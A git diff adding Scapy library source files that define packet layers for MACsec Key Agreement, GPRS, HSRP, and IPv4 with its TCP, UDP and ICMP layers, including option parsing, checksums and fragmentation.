+        XStrFixedLenField("latest_key_key_server_member_id", "", length=12),
+        XStrFixedLenField("latest_key_key_number", "", length=4),
+        XStrFixedLenField("latest_key_lowest_acceptable_pn", "", length=4),
+        XStrFixedLenField("old_key_key_server_member_id", "", length=12),
+        XStrFixedLenField("old_key_key_number", "", length=4),
+        XStrFixedLenField("old_key_lowest_acceptable_pn", "", length=4)
+    ]
+
+
+class MKADistributedSAKParamSet(MKAParamSet):
+    """
+    Distributed SAK parameter set (802.1X-2010, section 11.11).
+    """
+
+    #________________________________________________________________________
+    #
+    # IEEE 802.1X-2010 standard
+    # Section 11.11
+    #________________________________________________________________________
+    #
+
+    name = "Distributed SAK parameter set"
+    fields_desc = [
+        ByteEnumField("param_set_type", 4, _parameter_set_types),
+        BitField("distributed_an", 0, 2),
+        BitField("confidentiality_offset", 0, 2),
+        BitField("unused", 0, 4),
+        ShortField("param_set_body_len", 0),
+        XStrFixedLenField("key_number", "", length=4),
+        ConditionalField(
+            XStrFixedLenField("macsec_cipher_suite", "", length=8),
+            lambda pkt: pkt.param_set_body_len > 28
+        ),
+        XStrFixedLenField(
+            "sak_aes_key_wrap",
+            "",
+            length=MKAParamSet.EAPOL_MKA_DEFAULT_KEY_WRAP_LEN
+        )
+    ]
+
+
+class MKADistributedCAKParamSet(MKAParamSet):
+    """
+    Distributed CAK Parameter Set (802.1X-2010, section 11.11).
+    """
+
+    #________________________________________________________________________
+    #
+    # IEEE 802.1X-2010 standard
+    # Section 11.11
+    #________________________________________________________________________
+    #
+
+    name = "Distributed CAK parameter set"
+    fields_desc = [
+        PadField(
+            ByteEnumField(
+                "param_set_type",
+                5,
+                _parameter_set_types
+            ),
+            2,
+            padwith=b"\x00"
+        ),
+        ShortField("param_set_body_len", 0),
+        XStrFixedLenField(
+            "cak_aes_key_wrap",
+            "",
+            length=MKAParamSet.EAPOL_MKA_DEFAULT_KEY_WRAP_LEN
+        ),
+        XStrField("cak_key_name", "")
+    ]
+
+
+class MKAICVSet(MKAParamSet):
+    """
+    ICV (802.1X-2010, section 11.11).
+    """
+
+    #________________________________________________________________________
+    #
+    # IEEE 802.1X-2010 standard
+    # Section 11.11
+    #________________________________________________________________________
+    #
+
+    name = "ICV"
+    fields_desc = [
+        PadField(
+            ByteEnumField(
+                "param_set_type",
+                255,
+                _parameter_set_types
+            ),
+            2,
+            padwith=b"\x00"
+        ),
+        ShortField("param_set_body_len", 0),
+        XStrFixedLenField("icv", "", length=MKAParamSet.MACSEC_DEFAULT_ICV_LEN)
+    ]
+
+
+class MKAParamSetPacketListField(PacketListField):
+    """
+    PacketListField that handles the parameter sets.
+    """
+
+    PARAM_SET_LEN_MASK = 0b0000111111111111
+
+    def m2i(self, pkt, m):
+        return MKAParamSet(m)
+
+    def getfield(self, pkt, s):
+        lst = []
+        remain = s
+
+        while remain:
+            len_bytes = struct.unpack("!H", remain[2:4])[0]
+            param_set_len = self.__class__.PARAM_SET_LEN_MASK & len_bytes
+            current = remain[:4 + param_set_len]
+            remain = remain[4 + param_set_len:]
+            current_packet = self.m2i(pkt, current)
+            lst.append(current_packet)
+
+        return remain, lst
+
+
+class MKAPDU(Packet):
+    """
+    MACsec Key Agreement Protocol Data Unit.
+    """
+
+    #________________________________________________________________________
+    #
+    # IEEE 802.1X-2010 standard
+    # Section 11.11
+    #________________________________________________________________________
+    #
+
+    name = "MKPDU"
+    fields_desc = [
+        PacketField("basic_param_set", "", MKABasicParamSet),
+        MKAParamSetPacketListField("parameter_sets", [], MKAParamSet),
+    ]
+
+    def extract_padding(self, s):
+        return "", s
+
+
+bind_layers( Ether,         EAPOL,         type=34958)
+bind_layers( Ether,         EAPOL,         dst='01:80:c2:00:00:03', type=34958)
+bind_layers( CookedLinux,   EAPOL,         proto=34958)
+bind_layers( GRE,           EAPOL,         proto=34958)
+bind_layers( EAPOL,         EAP,           type=0)
+bind_layers( SNAP,          EAPOL,         code=34958)
+bind_layers( EAPOL,         MKAPDU,        type=5)
+
diff --git a/scapy/layers/gprs.py b/scapy/layers/gprs.py
new file mode 100644
index 0000000..9b0ec4c
--- /dev/null
+++ b/scapy/layers/gprs.py
@@ -0,0 +1,21 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+GPRS (General Packet Radio Service) for mobile data communication.
+"""
+
+from scapy.fields import *
+from scapy.packet import *
+from scapy.layers.inet import IP
+
+class GPRS(Packet):
+    name = "GPRSdummy"
+    fields_desc = [
+        StrStopField("dummy","",b"\x65\x00\x00",1)
+        ]
+
+
+bind_layers( GPRS,          IP,            )
diff --git a/scapy/layers/hsrp.py b/scapy/layers/hsrp.py
new file mode 100644
index 0000000..a8fdc07
--- /dev/null
+++ b/scapy/layers/hsrp.py
@@ -0,0 +1,83 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+#############################################################################
+##                                                                         ##
+## hsrp.py --- HSRP  protocol support for Scapy                            ##
+##                                                                         ##
+## Copyright (C) 2010  Mathieu RENARD mathieu.renard(at)gmail.com          ##
+##                                                                         ##
+## This program is free software; you can redistribute it and/or modify it ##
+## under the terms of the GNU General Public License version 2 as          ##
+## published by the Free Software Foundation; version 2.                   ##
+##                                                                         ##
+## This program is distributed in the hope that it will be useful, but     ##
+## WITHOUT ANY WARRANTY; without even the implied warranty of              ##
+## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU       ##
+## General Public License for more details.                                ##
+##                                                                         ##
+#############################################################################
+## HSRP Version 1
+##  Ref. RFC 2281
+## HSRP Version 2
+##  Ref. http://www.smartnetworks.jp/2006/02/hsrp_8_hsrp_version_2.html
+##
+## $Log: hsrp.py,v $
+## Revision 0.2  2011/05/01 15:23:34  mrenard
+##   Cleanup code
+
+"""
+HSRP (Hot Standby Router Protocol): proprietary redundancy protocol for Cisco routers.
+"""
+
+from scapy.fields import *
+from scapy.packet import *
+from scapy.layers.inet import DestIPField, UDP
+from scapy.layers.inet6 import DestIP6Field
+
+
+class HSRP(Packet):
+    name = "HSRP"
+    fields_desc = [
+        ByteField("version", 0),
+        ByteEnumField("opcode", 0, {0: "Hello", 1: "Coup", 2: "Resign", 3: "Advertise"}),
+        ByteEnumField("state", 16, {0: "Initial", 1: "Learn", 2: "Listen", 4: "Speak", 8: "Standby", 16: "Active"}),
+        ByteField("hellotime", 3),
+        ByteField("holdtime", 10),
+        ByteField("priority", 120),
+        ByteField("group", 1),
+        ByteField("reserved", 0),
+        StrFixedLenField("auth", b"cisco" + b"\00" * 3, 8),
+        IPField("virtualIP", "192.168.1.1")]
+
+    def guess_payload_class(self, payload):
+        if self.underlayer.len > 28:
+            return HSRPmd5
+        else:
+            return Packet.guess_payload_class(self, payload)
+
+
+class HSRPmd5(Packet):
+    name = "HSRP MD5 Authentication"
+    fields_desc = [
+        ByteEnumField("type", 4, {4: "MD5 authentication"}),
+        ByteField("len", None),
+        ByteEnumField("algo", 0, {1: "MD5"}),
+        ByteField("padding", 0x00),
+        XShortField("flags", 0x00),
+        SourceIPField("sourceip", None),
+        XIntField("keyid", 0x00),
+        StrFixedLenField("authdigest", b"\00" * 16, 16)]
+
+    def post_build(self, p, pay):
+        if self.len is None and pay:
+            l = len(pay)
+            p = p[:1] + hex(l)[30:] + p[30:]
+        return p
+
+bind_layers(UDP, HSRP, dport=1985, sport=1985)
+bind_layers(UDP, HSRP, dport=2029, sport=2029)
+DestIPField.bind_addr(UDP, "224.0.0.2", dport=1985)
+DestIP6Field.bind_addr(UDP, "ff02::66", dport=2029)
diff --git a/scapy/layers/inet.py b/scapy/layers/inet.py
new file mode 100644
index 0000000..1f5cd28
--- /dev/null
+++ b/scapy/layers/inet.py
@@ -0,0 +1,1736 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+IPv4 (Internet Protocol v4).
+"""
+
+from __future__ import absolute_import
+from __future__ import print_function
+import os, time, struct, re, socket, types
+from select import select
+from collections import defaultdict
+
+from scapy.utils import checksum,inet_aton,inet_ntoa
+from scapy.base_classes import Gen
+from scapy.data import *
+from scapy.layers.l2 import *
+from scapy.compat import *
+from scapy.config import conf
+from scapy.consts import WINDOWS
+from scapy.fields import *
+from scapy.packet import *
+from scapy.volatile import *
+from scapy.sendrecv import sr,sr1,srp1
+from scapy.plist import PacketList,SndRcvList
+from scapy.automaton import Automaton,ATMT
+from scapy.error import warning
+from scapy.utils import whois
+
+import scapy.as_resolvers
+
+from scapy.arch import plt, MATPLOTLIB_INLINED, MATPLOTLIB_DEFAULT_PLOT_KARGS
+import scapy.modules.six as six
+from scapy.modules.six.moves import range
+
+####################
+## IP Tools class ##
+####################
+
+class IPTools(object):
+    """Add more powers to a class with an "src" attribute."""
+    __slots__ = []
+    def whois(self):
+        """whois the source and print the output"""
+        if WINDOWS:
+            print(whois(self.src))
+        else:
+            os.system("whois %s" % self.src)
+    def _ttl(self):
+        """Returns ttl or hlim, depending on the IP version"""
+        return self.hlim if isinstance(self, scapy.layers.inet6.IPv6) else self.ttl
+    def ottl(self):
+        t = sorted([32,64,128,255]+[self._ttl()])
+        return t[t.index(self._ttl())+1]
+    def hops(self):
+        return self.ottl() - self._ttl()
+
+
+_ip_options_names = { 0: "end_of_list",
+                      1: "nop",
+                      2: "security",
+                      3: "loose_source_route",
+                      4: "timestamp",
+                      5: "extended_security",
+                      6: "commercial_security",
+                      7: "record_route",
+                      8: "stream_id",
+                      9: "strict_source_route",
+                      10: "experimental_measurement",
+                      11: "mtu_probe",
+                      12: "mtu_reply",
+                      13: "flow_control",
+                      14: "access_control",
+                      15: "encode",
+                      16: "imi_traffic_descriptor",
+                      17: "extended_IP",
+                      18: "traceroute",
+                      19: "address_extension",
+                      20: "router_alert",
+                      21: "selective_directed_broadcast_mode",
+                      23: "dynamic_packet_state",
+                      24: "upstream_multicast_packet",
+                      25: "quick_start",
+                      30: "rfc4727_experiment", 
+                      }
+                      
+
+class _IPOption_HDR(Packet):
+    fields_desc = [ BitField("copy_flag",0, 1),
+                    BitEnumField("optclass",0,2,{0:"control",2:"debug"}),
+                    BitEnumField("option",0,5, _ip_options_names) ]
+    
+class IPOption(Packet):
+    name = "IP Option"
+    fields_desc = [ _IPOption_HDR,
+                    FieldLenField("length", None, fmt="B",  # Only option 0 and 1 have no length and value
+                                  length_of="value", adjust=lambda pkt,l:l+2),
+                    StrLenField("value", "",length_from=lambda pkt:pkt.length-2) ]
+    
+    def extract_padding(self, p):
+        return b"",p
+
+    registered_ip_options = {}
+    @classmethod
+    def register_variant(cls):
+        cls.registered_ip_options[cls.option.default] = cls
+    @classmethod
+    def dispatch_hook(cls, pkt=None, *args, **kargs):
+        if pkt:
+            opt = orb(pkt[0])&0x1f
+            if opt in cls.registered_ip_options:
+                return cls.registered_ip_options[opt]
+        return cls
+
+class IPOption_EOL(IPOption):
+    name = "IP Option End of Options List"
+    option = 0
+    fields_desc = [ _IPOption_HDR ]
+    
+
+class IPOption_NOP(IPOption):
+    name = "IP Option No Operation"
+    option=1
+    fields_desc = [ _IPOption_HDR ]
+
+class IPOption_Security(IPOption):
+    name = "IP Option Security"
+    copy_flag = 1
+    option = 2
+    fields_desc = [ _IPOption_HDR,
+                    ByteField("length", 11),
+                    ShortField("security",0),
+                    ShortField("compartment",0),
+                    ShortField("handling_restrictions",0),
+                    StrFixedLenField("transmission_control_code","xxx",3),
+                    ]
+    
+class IPOption_RR(IPOption):
+    name = "IP Option Record Route"
+    option = 7
+    fields_desc = [ _IPOption_HDR,
+                    FieldLenField("length", None, fmt="B",
+                                  length_of="routers", adjust=lambda pkt,l:l+3),
+                    ByteField("pointer",4), # 4 is first IP
+                    FieldListField("routers",[],IPField("","0.0.0.0"), 
+                                   length_from=lambda pkt:pkt.length-3)
+                    ]
+    def get_current_router(self):
+        return self.routers[self.pointer//4-1]
+
+class IPOption_LSRR(IPOption_RR):
+    name = "IP Option Loose Source and Record Route"
+    copy_flag = 1
+    option = 3
+
+class IPOption_SSRR(IPOption_RR):
+    name = "IP Option Strict Source and Record Route"
+    copy_flag = 1
+    option = 9
+
+class IPOption_Stream_Id(IPOption):
+    name = "IP Option Stream ID"
+    copy_flag = 1
+    option = 8
+    fields_desc = [ _IPOption_HDR,
+                    ByteField("length", 4),
+                    ShortField("security",0), ]
+                    
+class IPOption_MTU_Probe(IPOption):
+    name = "IP Option MTU Probe"
+    option = 11
+    fields_desc = [ _IPOption_HDR,
+                    ByteField("length", 4),
+                    ShortField("mtu",0), ]
+
+class IPOption_MTU_Reply(IPOption_MTU_Probe):
+    name = "IP Option MTU Reply"
+    option = 12
+
+class IPOption_Traceroute(IPOption):
+    name = "IP Option Traceroute"
+    option = 18
+    fields_desc = [ _IPOption_HDR,
+                    ByteField("length", 12),
+                    ShortField("id",0),
+                    ShortField("outbound_hops",0),
+                    ShortField("return_hops",0),
+                    IPField("originator_ip","0.0.0.0") ]
+
+class IPOption_Address_Extension(IPOption):
+    name = "IP Option Address Extension"
+    copy_flag = 1
+    option = 19
+    fields_desc = [ _IPOption_HDR,
+                    ByteField("length", 10),
+                    IPField("src_ext","0.0.0.0"),
+                    IPField("dst_ext","0.0.0.0") ]
+
+class IPOption_Router_Alert(IPOption):
+    name = "IP Option Router Alert"
+    copy_flag = 1
+    option = 20
+    fields_desc = [ _IPOption_HDR,
+                    ByteField("length", 4),
+                    ShortEnumField("alert",0, {0:"router_shall_examine_packet"}), ]
+
+
+class IPOption_SDBM(IPOption):
+    name = "IP Option Selective Directed Broadcast Mode"
+    copy_flag = 1
+    option = 21
+    fields_desc = [ _IPOption_HDR,
+                    FieldLenField("length", None, fmt="B",
+                                  length_of="addresses", adjust=lambda pkt,l:l+2),
+                    FieldListField("addresses",[],IPField("","0.0.0.0"), 
+                                   length_from=lambda pkt:pkt.length-2)
+                    ]
+    
+
+
+TCPOptions = (
+              { 0 : ("EOL",None),
+                1 : ("NOP",None),
+                2 : ("MSS","!H"),
+                3 : ("WScale","!B"),
+                4 : ("SAckOK",None),
+                5 : ("SAck","!"),
+                8 : ("Timestamp","!II"),
+                14 : ("AltChkSum","!BH"),
+                15 : ("AltChkSumOpt",None),
+                25 : ("Mood","!p"),
+                28 : ("UTO", "!H"),
+                34 : ("TFO", "!II"),
+                # RFC 3692
+                253 : ("Experiment","!HHHH"),
+                254 : ("Experiment","!HHHH"),
+                },
+              { "EOL":0,
+                "NOP":1,
+                "MSS":2,
+                "WScale":3,
+                "SAckOK":4,
+                "SAck":5,
+                "Timestamp":8,
+                "AltChkSum":14,
+                "AltChkSumOpt":15,
+                "Mood":25,
+                "UTO":28,
+                "TFO":34,
+                } )
+
+class TCPOptionsField(StrField):
+    islist=1
+    def getfield(self, pkt, s):
+        opsz = (pkt.dataofs-5)*4
+        if opsz < 0:
+            warning("bad dataofs (%i). Assuming dataofs=5"%pkt.dataofs)
+            opsz = 0
+        return s[opsz:],self.m2i(pkt,s[:opsz])
+    def m2i(self, pkt, x):
+        opt = []
+        while x:
+            onum = orb(x[0])
+            if onum == 0:
+                opt.append(("EOL",None))
+                x=x[1:]
+                break
+            if onum == 1:
+                opt.append(("NOP",None))
+                x=x[1:]
+                continue
+            olen = orb(x[1])
+            if olen < 2:
+                warning("Malformed TCP option (announced length is %i)" % olen)
+                olen = 2
+            oval = x[2:olen]
+            if onum in TCPOptions[0]:
+                oname, ofmt = TCPOptions[0][onum]
+                if onum == 5: #SAck
+                    ofmt += "%iI" % (len(oval)//4)
+                if ofmt and struct.calcsize(ofmt) == len(oval):
+                    oval = struct.unpack(ofmt, oval)
+                    if len(oval) == 1:
+                        oval = oval[0]
+                opt.append((oname, oval))
+            else:
+                opt.append((onum, oval))
+            x = x[olen:]
+        return opt
+    
+    def i2m(self, pkt, x):
+        opt = b""
+        for oname, oval in x:
+            if isinstance(oname, str):
+                if oname == "NOP":
+                    opt += b"\x01"
+                    continue
+                elif oname == "EOL":
+                    opt += b"\x00"
+                    continue
+                elif oname in TCPOptions[1]:
+                    onum = TCPOptions[1][oname]
+                    ofmt = TCPOptions[0][onum][1]
+                    if onum == 5: #SAck
+                        ofmt += "%iI" % len(oval)
+                    if ofmt is not None and (not isinstance(oval, str) or "s" in ofmt):
+                        if not isinstance(oval, tuple):
+                            oval = (oval,)
+                        oval = struct.pack(ofmt, *oval)
+                else:
+                    warning("option [%s] unknown. Skipped.", oname)
+                    continue
+            else:
+                onum = oname
+                if not isinstance(oval, str):
+                    warning("option [%i] is not string."%onum)
+                    continue
+            opt += chb(onum) + chb(2+len(oval))+ raw(oval)
+        return opt+b"\x00"*(3-((len(opt)+3)%4))
+    def randval(self):
+        return [] # XXX
+    
+
+class ICMPTimeStampField(IntField):
+    re_hmsm = re.compile("([0-2]?[0-9])[Hh:](([0-5]?[0-9])([Mm:]([0-5]?[0-9])([sS:.]([0-9]{0,3}))?)?)?$")
+    def i2repr(self, pkt, val):
+        if val is None:
+            return "--"
+        else:
+            sec, milli = divmod(val, 1000)
+            min, sec = divmod(sec, 60)
+            hour, min = divmod(min, 60)
+            return "%d:%d:%d.%d" %(hour, min, sec, int(milli))
+    def any2i(self, pkt, val):
+        if isinstance(val, str):
+            hmsms = self.re_hmsm.match(val)
+            if hmsms:
+                h,_,m,_,s,_,ms = hmsms = hmsms.groups()
+                ms = int(((ms or "")+"000")[:3])
+                val = ((int(h)*60+int(m or 0))*60+int(s or 0))*1000+ms
+            else:
+                val = 0
+        elif val is None:
+            val = int((time.time()%(24*60*60))*1000)
+        return val
+
+
+class DestIPField(IPField, DestField):
+    bindings = {}
+    def __init__(self, name, default):
+        IPField.__init__(self, name, None)
+        DestField.__init__(self, name, default)
+    def i2m(self, pkt, x):
+        if x is None:
+            x = self.dst_from_pkt(pkt)
+        return IPField.i2m(self, pkt, x)
+    def i2h(self, pkt, x):
+        if x is None:
+            x = self.dst_from_pkt(pkt)
+        return IPField.i2h(self, pkt, x)
+
+
+class IP(Packet, IPTools):
+    __slots__ = ["_defrag_pos"]
+    name = "IP"
+    fields_desc = [ BitField("version" , 4 , 4),
+                    BitField("ihl", None, 4),
+                    XByteField("tos", 0),
+                    ShortField("len", None),
+                    ShortField("id", 1),
+                    FlagsField("flags", 0, 3, ["MF","DF","evil"]),
+                    BitField("frag", 0, 13),
+                    ByteField("ttl", 64),
+                    ByteEnumField("proto", 0, IP_PROTOS),
+                    XShortField("chksum", None),
+                    #IPField("src", "127.0.0.1"),
+                    Emph(SourceIPField("src","dst")),
+                    Emph(DestIPField("dst", "127.0.0.1")),
+                    PacketListField("options", [], IPOption, length_from=lambda p:p.ihl*4-20) ]
+    def post_build(self, p, pay):
+        ihl = self.ihl
+        p += b"\0"*((-len(p))%4) # pad IP options if needed
+        if ihl is None:
+            ihl = len(p)//4
+            p = chb(((self.version&0xf)<<4) | ihl&0x0f)+p[1:]
+        if self.len is None:
+            l = len(p)+len(pay)
+            p = p[:2]+struct.pack("!H", l)+p[4:]
+        if self.chksum is None:
+            ck = checksum(p)
+            p = p[:10]+chb(ck>>8)+chb(ck&0xff)+p[12:]
+        return p+pay
+
+    def extract_padding(self, s):
+        l = self.len - (self.ihl << 2)
+        return s[:l],s[l:]
+
+    def route(self):
+        dst = self.dst
+        if isinstance(dst, Gen):
+            dst = next(iter(dst))
+        if conf.route is None:
+            # unused import, only to initialize conf.route
+            import scapy.route
+        return conf.route.route(dst)
+    def hashret(self):
+        if ( (self.proto == socket.IPPROTO_ICMP)
+             and (isinstance(self.payload, ICMP))
+             and (self.payload.type in [3,4,5,11,12]) ):
+            return self.payload.payload.hashret()
+        if not conf.checkIPinIP and self.proto in [4, 41]:  # IP, IPv6
+            return self.payload.hashret()
+        if self.dst == "224.0.0.251":  # mDNS
+            return struct.pack("B", self.proto) + self.payload.hashret()
+        if conf.checkIPsrc and conf.checkIPaddr:
+            return (strxor(inet_aton(self.src), inet_aton(self.dst))
+                    + struct.pack("B",self.proto) + self.payload.hashret())
+        return struct.pack("B", self.proto) + self.payload.hashret()
+    def answers(self, other):
+        if not conf.checkIPinIP:  # skip IP in IP and IPv6 in IP
+            if self.proto in [4, 41]:
+                return self.payload.answers(other)
+            if isinstance(other, IP) and other.proto in [4, 41]:
+                return self.answers(other.payload)
+            if conf.ipv6_enabled \
+               and isinstance(other, scapy.layers.inet6.IPv6) \
+               and other.nh in [4, 41]:
+                return self.answers(other.payload)                
+        if not isinstance(other,IP):
+            return 0
+        if conf.checkIPaddr:
+            if other.dst == "224.0.0.251" and self.dst == "224.0.0.251":  # mDNS
+                return self.payload.answers(other.payload)
+            elif (self.dst != other.src):
+                return 0
+        if ( (self.proto == socket.IPPROTO_ICMP) and
+             (isinstance(self.payload, ICMP)) and
+             (self.payload.type in [3,4,5,11,12]) ):
+            # ICMP error message
+            return self.payload.payload.answers(other)
+
+        else:
+            if ( (conf.checkIPaddr and (self.src != other.dst)) or
+                 (self.proto != other.proto) ):
+                return 0
+            return self.payload.answers(other.payload)
+    def mysummary(self):
+        s = self.sprintf("%IP.src% > %IP.dst% %IP.proto%")
+        if self.frag:
+            s += " frag:%i" % self.frag
+        return s
+                 
+    def fragment(self, fragsize=1480):
+        """Fragment IP datagrams"""
+        fragsize = (fragsize+7)//8*8
+        lst = []
+        fnb = 0
+        fl = self
+        while fl.underlayer is not None:
+            fnb += 1
+            fl = fl.underlayer
+        
+        for p in fl:
+            s = raw(p[fnb].payload)
+            nb = (len(s)+fragsize-1)//fragsize
+            for i in range(nb):            
+                q = p.copy()
+                del(q[fnb].payload)
+                del(q[fnb].chksum)
+                del(q[fnb].len)
+                if i != nb - 1:
+                    q[fnb].flags |= 1
+                q[fnb].frag += i * fragsize // 8
+                r = conf.raw_layer(load=s[i*fragsize:(i+1)*fragsize])
+                r.overload_fields = p[fnb].payload.overload_fields.copy()
+                q.add_payload(r)
+                lst.append(q)
+        return lst
+
+def in4_chksum(proto, u, p):
+    """
+    As Specified in RFC 2460 - 8.1 Upper-Layer Checksums
+
+    Performs IPv4 Upper Layer checksum computation. Provided parameters are:
+    - 'proto' : value of upper layer protocol
+    - 'u'  : IP upper layer instance
+    - 'p'  : the payload of the upper layer provided as a string
+    """
+    if not isinstance(u, IP):
+        warning("No IP underlayer to compute checksum. Leaving null.")
+        return 0
+    if u.len is not None:
+        if u.ihl is None:
+            olen = sum(len(x) for x in u.options)
+            ihl = 5 + olen // 4 + (1 if olen % 4 else 0)
+        else:
+            ihl = u.ihl
+        ln = u.len - 4 * ihl
+    else:
+        ln = len(p)
+    psdhdr = struct.pack("!4s4sHH",
+                         inet_aton(u.src),
+                         inet_aton(u.dst),
+                         proto,
+                         ln)
+    return checksum(psdhdr+p)
+
+class TCP(Packet):
+    name = "TCP"
+    fields_desc = [ ShortEnumField("sport", 20, TCP_SERVICES),
+                    ShortEnumField("dport", 80, TCP_SERVICES),
+                    IntField("seq", 0),
+                    IntField("ack", 0),
+                    BitField("dataofs", None, 4),
+                    BitField("reserved", 0, 3),
+                    FlagsField("flags", 0x2, 9, "FSRPAUECN"),
+                    ShortField("window", 8192),
+                    XShortField("chksum", None),
+                    ShortField("urgptr", 0),
+                    TCPOptionsField("options", []) ]
+    def post_build(self, p, pay):
+        p += pay
+        dataofs = self.dataofs
+        if dataofs is None:
+            dataofs = 5+((len(self.get_field("options").i2m(self,self.options))+3)//4)
+            p = p[:12]+chb((dataofs << 4) | orb(p[12])&0x0f)+p[13:]
+        if self.chksum is None:
+            if isinstance(self.underlayer, IP):
+                ck = in4_chksum(socket.IPPROTO_TCP, self.underlayer, p)
+                p = p[:16]+struct.pack("!H", ck)+p[18:]
+            elif conf.ipv6_enabled and isinstance(self.underlayer, scapy.layers.inet6.IPv6) or isinstance(self.underlayer, scapy.layers.inet6._IPv6ExtHdr):
+                ck = scapy.layers.inet6.in6_chksum(socket.IPPROTO_TCP, self.underlayer, p)
+                p = p[:16]+struct.pack("!H", ck)+p[18:]
+            else:
+                warning("No IP underlayer to compute checksum. Leaving null.")
+        return p
+    def hashret(self):
+        if conf.checkIPsrc:
+            return struct.pack("H",self.sport ^ self.dport)+self.payload.hashret()
+        else:
+            return self.payload.hashret()
+    def answers(self, other):
+        if not isinstance(other, TCP):
+            return 0
+        # RST packets don't get answers
+        if other.flags.R:
+            return 0
+        # We do not support the four-way handshakes with the SYN+ACK
+        # answer split in two packets (one ACK and one SYN): in that
+        # case the ACK will be seen as an answer, but not the SYN.
+        if self.flags.S:
+            # SYN packets without ACK are not answers
+            if not self.flags.A:
+                return 0
+            # SYN+ACK packets answer SYN packets
+            if not other.flags.S:
+                return 0
+        if conf.checkIPsrc:
+            if not ((self.sport == other.dport) and
+                    (self.dport == other.sport)):
+                return 0
+        # Do not check ack value for SYN packets without ACK
+        if not (other.flags.S and not other.flags.A) \
+           and abs(other.ack - self.seq) > 2:
+            return 0
+        # Do not check ack value for RST packets without ACK
+        if self.flags.R and not self.flags.A:
+            return 1
+        if abs(other.seq - self.ack) > 2 + len(other.payload):
+            return 0
+        return 1
+    def mysummary(self):
+        if isinstance(self.underlayer, IP):
+            return self.underlayer.sprintf("TCP %IP.src%:%TCP.sport% > %IP.dst%:%TCP.dport% %TCP.flags%")
+        elif conf.ipv6_enabled and isinstance(self.underlayer, scapy.layers.inet6.IPv6):
+            return self.underlayer.sprintf("TCP %IPv6.src%:%TCP.sport% > %IPv6.dst%:%TCP.dport% %TCP.flags%")
+        else:
+            return self.sprintf("TCP %TCP.sport% > %TCP.dport% %TCP.flags%")
+
+class UDP(Packet):
+    name = "UDP"
+    fields_desc = [ ShortEnumField("sport", 53, UDP_SERVICES),
+                    ShortEnumField("dport", 53, UDP_SERVICES),
+                    ShortField("len", None),
+                    XShortField("chksum", None), ]
+    def post_build(self, p, pay):
+        p += pay
+        l = self.len
+        if l is None:
+            l = len(p)
+            p = p[:4]+struct.pack("!H",l)+p[6:]
+        if self.chksum is None:
+            if isinstance(self.underlayer, IP):
+                ck = in4_chksum(socket.IPPROTO_UDP, self.underlayer, p)
+                # According to RFC768 if the result checksum is 0, it should be set to 0xFFFF
+                if ck == 0:
+                    ck = 0xFFFF
+                p = p[:6]+struct.pack("!H", ck)+p[8:]
+            elif isinstance(self.underlayer, scapy.layers.inet6.IPv6) or isinstance(self.underlayer, scapy.layers.inet6._IPv6ExtHdr):
+                ck = scapy.layers.inet6.in6_chksum(socket.IPPROTO_UDP, self.underlayer, p)
+                # According to RFC2460 if the result checksum is 0, it should be set to 0xFFFF
+                if ck == 0:
+                    ck = 0xFFFF
+                p = p[:6]+struct.pack("!H", ck)+p[8:]
+            else:
+                warning("No IP underlayer to compute checksum. Leaving null.")
+        return p
+    def extract_padding(self, s):
+        l = self.len - 8
+        return s[:l],s[l:]
+    def hashret(self):
+        return self.payload.hashret()
+    def answers(self, other):
+        if not isinstance(other, UDP):
+            return 0
+        if conf.checkIPsrc:
+            if self.dport != other.sport:
+                return 0
+        return self.payload.answers(other.payload)
+    def mysummary(self):
+        if isinstance(self.underlayer, IP):
+            return self.underlayer.sprintf("UDP %IP.src%:%UDP.sport% > %IP.dst%:%UDP.dport%")
+        elif isinstance(self.underlayer, scapy.layers.inet6.IPv6):
+            return self.underlayer.sprintf("UDP %IPv6.src%:%UDP.sport% > %IPv6.dst%:%UDP.dport%")
+        else:
+            return self.sprintf("UDP %UDP.sport% > %UDP.dport%")    
+
+icmptypes = { 0 : "echo-reply",
+              3 : "dest-unreach",
+              4 : "source-quench",
+              5 : "redirect",
+              8 : "echo-request",
+              9 : "router-advertisement",
+              10 : "router-solicitation",
+              11 : "time-exceeded",
+              12 : "parameter-problem",
+              13 : "timestamp-request",
+              14 : "timestamp-reply",
+              15 : "information-request",
+              16 : "information-response",
+              17 : "address-mask-request",
+              18 : "address-mask-reply" }
+
+icmpcodes = { 3 : { 0  : "network-unreachable",
+                    1  : "host-unreachable",
+                    2  : "protocol-unreachable",
+                    3  : "port-unreachable",
+                    4  : "fragmentation-needed",
+                    5  : "source-route-failed",
+                    6  : "network-unknown",
+                    7  : "host-unknown",
+                    9  : "network-prohibited",
+                    10 : "host-prohibited",
+                    11 : "TOS-network-unreachable",
+                    12 : "TOS-host-unreachable",
+                    13 : "communication-prohibited",
+                    14 : "host-precedence-violation",
+                    15 : "precedence-cutoff", },
+              5 : { 0  : "network-redirect",
+                    1  : "host-redirect",
+                    2  : "TOS-network-redirect",
+                    3  : "TOS-host-redirect", },
+              11 : { 0 : "ttl-zero-during-transit",
+                     1 : "ttl-zero-during-reassembly", },
+              12 : { 0 : "ip-header-bad",
+                     1 : "required-option-missing", }, }
+                         
+                   
+
+
+class ICMP(Packet):
+    name = "ICMP"
+    fields_desc = [ ByteEnumField("type",8, icmptypes),
+                    MultiEnumField("code",0, icmpcodes, depends_on=lambda pkt:pkt.type,fmt="B"),
+                    XShortField("chksum", None),
+                    ConditionalField(XShortField("id",0),  lambda pkt:pkt.type in [0,8,13,14,15,16,17,18]),
+                    ConditionalField(XShortField("seq",0), lambda pkt:pkt.type in [0,8,13,14,15,16,17,18]),
+                    ConditionalField(ICMPTimeStampField("ts_ori", None), lambda pkt:pkt.type in [13,14]),
+                    ConditionalField(ICMPTimeStampField("ts_rx", None), lambda pkt:pkt.type in [13,14]),
+                    ConditionalField(ICMPTimeStampField("ts_tx", None), lambda pkt:pkt.type in [13,14]),
+                    ConditionalField(IPField("gw","0.0.0.0"),  lambda pkt:pkt.type==5),
+                    ConditionalField(ByteField("ptr",0),   lambda pkt:pkt.type==12),
